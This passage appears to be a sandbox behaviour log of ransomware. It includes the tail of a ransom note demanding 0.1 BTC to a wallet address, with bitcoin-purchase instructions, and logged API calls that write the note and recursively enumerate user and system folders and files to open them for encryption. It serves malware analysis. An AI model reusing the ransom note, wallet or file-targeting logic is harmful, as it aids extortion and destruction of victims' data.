05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0078.981] WriteFile (in: hFile=0x7b8, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17ee1c, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17ee1c*=0x6b3, lpOverlapped=0x0) returned 1 [0078.982] CloseHandle (hObject=0x7b8) returned 1 [0078.983] GetProcessHeap () returned 0x540000 [0078.983] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42e2128 | out: hHeap=0x540000) returned 1 [0078.984] lstrcpyW (in: lpString1=0x42a2108, lpString2="\\\\?\\C:\\Users\\Public\\Downloads" | out: lpString1="\\\\?\\C:\\Users\\Public\\Downloads") returned="\\\\?\\C:\\Users\\Public\\Downloads" [0078.984] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 111 [0078.984] QueueUserWorkItem (Function=0x40a710, Context=0x42a2108, Flags=0x0) returned 1 [0078.984] GetProcessHeap () returned 0x540000 [0078.984] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42e2128 [0078.984] wnsprintfW (in: pszDest=0x42e2128, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Public\\Downloads\\*") returned 31 [0078.984] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\Downloads\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0079.089] lstrcpyW (in: lpString1=0x42e2128, lpString2="\\\\?\\C:\\Users\\Public\\Favorites" | out: lpString1="\\\\?\\C:\\Users\\Public\\Favorites") returned="\\\\?\\C:\\Users\\Public\\Favorites" [0079.089] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 112 [0079.089] QueueUserWorkItem (Function=0x40a710, Context=0x42e2128, Flags=0x0) returned 1 [0079.090] GetProcessHeap () returned 0x540000 [0079.090] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42f2130 [0079.090] wnsprintfW (in: pszDest=0x42f2130, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Public\\Favorites\\*") returned 31 [0079.090] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\Favorites\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdae6622, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaee7d305, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0079.091] lstrcpyW (in: lpString1=0x42f2130, lpString2="\\\\?\\C:\\Users\\Public\\Libraries" | out: lpString1="\\\\?\\C:\\Users\\Public\\Libraries") returned="\\\\?\\C:\\Users\\Public\\Libraries" [0079.091] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 113 [0079.091] QueueUserWorkItem (Function=0x40a710, Context=0x42f2130, Flags=0x0) returned 1 [0079.092] GetProcessHeap () returned 0x540000 [0079.092] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x43d0010 [0079.093] wnsprintfW (in: pszDest=0x43d0010, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Public\\Libraries\\*") returned 31 [0079.093] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\Libraries\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28a29e5c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0079.097] lstrcpyW (in: lpString1=0x43d0010, lpString2="\\\\?\\C:\\Users\\Public\\Music" | out: lpString1="\\\\?\\C:\\Users\\Public\\Music") returned="\\\\?\\C:\\Users\\Public\\Music" [0079.097] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 114 [0079.097] QueueUserWorkItem (Function=0x40a710, Context=0x43d0010, Flags=0x0) returned 1 [0079.097] GetProcessHeap () returned 0x540000 [0079.097] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x43e0018 [0079.098] wnsprintfW (in: pszDest=0x43e0018, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Public\\Music\\*") returned 27 [0079.098] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\Music\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1b270af0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b270af0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0079.099] lstrcpyW (in: lpString1=0x43f0020, lpString2="\\\\?\\C:\\Users\\Public\\Music\\Sample Music" | out: lpString1="\\\\?\\C:\\Users\\Public\\Music\\Sample Music") returned="\\\\?\\C:\\Users\\Public\\Music\\Sample Music" [0079.099] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 115 [0079.099] QueueUserWorkItem (Function=0x40a710, Context=0x43f0020, Flags=0x0) returned 1 [0079.099] GetProcessHeap () returned 0x540000 [0079.099] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4400028 [0079.100] wnsprintfW (in: pszDest=0x4400028, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Public\\Music\\Sample Music\\*") returned 40 [0079.100] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\Music\\Sample Music\\*", lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc288 [0079.103] lstrcpyW (in: lpString1=0x43e0018, lpString2="\\\\?\\C:\\Users\\Public\\Pictures" | out: lpString1="\\\\?\\C:\\Users\\Public\\Pictures") returned="\\\\?\\C:\\Users\\Public\\Pictures" [0079.103] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 116 [0079.103] QueueUserWorkItem (Function=0x40a710, Context=0x43e0018, Flags=0x0) returned 1 [0079.103] GetProcessHeap () returned 0x540000 [0079.104] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4400028 [0079.104] wnsprintfW (in: pszDest=0x4400028, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Public\\Pictures\\*") returned 30 [0079.104] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\Pictures\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1b270af0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b270af0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0079.104] lstrcpyW (in: lpString1=0x4410030, lpString2="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures" | out: lpString1="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures") returned="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures" [0079.104] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 117 [0079.104] QueueUserWorkItem (Function=0x40a710, Context=0x4410030, Flags=0x0) returned 1 [0079.104] GetProcessHeap () returned 0x540000 [0079.104] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4420038 [0079.105] wnsprintfW (in: pszDest=0x4420038, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\*") returned 46 [0079.105] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\*", lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc288 [0079.109] lstrcpyW (in: lpString1=0x4400028, lpString2="\\\\?\\C:\\Users\\Public\\Recorded TV" | out: lpString1="\\\\?\\C:\\Users\\Public\\Recorded TV") returned="\\\\?\\C:\\Users\\Public\\Recorded TV" [0079.109] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 118 [0079.110] QueueUserWorkItem (Function=0x40a710, Context=0x4400028, Flags=0x0) returned 1 [0079.110] GetProcessHeap () returned 0x540000 [0079.110] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4420038 [0079.110] wnsprintfW (in: pszDest=0x4420038, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Public\\Recorded TV\\*") returned 33 [0079.110] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\Recorded TV\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0079.111] lstrcpyW (in: lpString1=0x4430040, lpString2="\\\\?\\C:\\Users\\Public\\Recorded TV\\Sample Media" | out: lpString1="\\\\?\\C:\\Users\\Public\\Recorded TV\\Sample Media") returned="\\\\?\\C:\\Users\\Public\\Recorded TV\\Sample Media" [0079.111] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 119 [0079.111] QueueUserWorkItem (Function=0x40a710, Context=0x4430040, Flags=0x0) returned 1 [0079.111] GetProcessHeap () returned 0x540000 [0079.111] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4340048 [0079.112] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Public\\Recorded TV\\Sample Media\\*") returned 46 [0079.112] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\Recorded TV\\Sample Media\\*", lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc288 [0079.115] lstrcpyW (in: lpString1=0x4420038, lpString2="\\\\?\\C:\\Users\\Public\\Videos" | out: lpString1="\\\\?\\C:\\Users\\Public\\Videos") returned="\\\\?\\C:\\Users\\Public\\Videos" [0079.115] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 120 [0079.115] QueueUserWorkItem (Function=0x40a710, Context=0x4420038, Flags=0x0) returned 1 [0079.115] GetProcessHeap () returned 0x540000 [0079.115] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4340048 [0079.115] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Public\\Videos\\*") returned 28 [0079.115] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\Videos\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1b309070, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b309070, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0079.116] lstrcpyW (in: lpString1=0x4350050, lpString2="\\\\?\\C:\\Users\\Public\\Videos\\Sample Videos" | out: lpString1="\\\\?\\C:\\Users\\Public\\Videos\\Sample Videos") returned="\\\\?\\C:\\Users\\Public\\Videos\\Sample Videos" [0079.116] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 121 [0079.116] QueueUserWorkItem (Function=0x40a710, Context=0x4350050, Flags=0x0) returned 1 [0079.116] GetProcessHeap () returned 0x540000 [0079.116] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4360058 [0079.117] wnsprintfW (in: pszDest=0x4360058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Public\\Videos\\Sample Videos\\*") returned 42 [0079.117] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\Videos\\Sample Videos\\*", lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc288 [0084.346] Sleep (dwMilliseconds=0x1388) [0089.369] Sleep (dwMilliseconds=0x1388) Thread: id = 2 os_tid = 0x248 Thread: id = 3 os_tid = 0x5a8 [0077.505] GetProcessHeap () returned 0x540000 [0077.505] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41b0080 [0077.506] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\*") returned 8 [0077.506] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6010007, dwReserved1=0x2fd0000, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x32fc208 [0077.506] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\$Recycle.Bin") returned 19 [0077.506] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6010007, dwReserved1=0x2fd0000, cFileName="Boot", cAlternateFileName="")) returned 1 [0077.506] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot") returned 11 [0077.506] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x6010007, dwReserved1=0x2fd0000, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0077.506] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\bootmgr") returned 14 [0077.506] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.514] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x6010007, dwReserved1=0x2fd0000, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0077.514] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\BOOTSECT.BAK") returned 19 [0077.515] CreateFileW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.515] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6010007, dwReserved1=0x2fd0000, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0077.515] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Config.Msi") returned 17 [0077.515] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2fd0000, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0077.515] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Documents and Settings") returned 29 [0077.516] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x813b7be0, ftLastWriteTime.dwHighDateTime=0x1d4d5ae, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x2fd0000, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0077.516] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\hiberfil.sys") returned 19 [0077.516] CreateFileW (lpFileName="\\\\?\\C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.516] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2fd0000, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0077.516] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache") returned 15 [0077.516] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x173ce810, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x1, nFileSizeLow=0x7f24e000, dwReserved0=0xa0000003, dwReserved1=0x2fd0000, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0077.516] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\pagefile.sys") returned 19 [0077.516] CreateFileW (lpFileName="\\\\?\\C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.516] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2fd0000, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0077.516] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\PerfLogs") returned 15 [0077.516] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfbaff560, ftLastAccessTime.dwHighDateTime=0x1d59fdc, ftLastWriteTime.dwLowDateTime=0xfbaff560, ftLastWriteTime.dwHighDateTime=0x1d59fdc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2fd0000, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0077.516] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Program Files") returned 20 [0077.516] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, 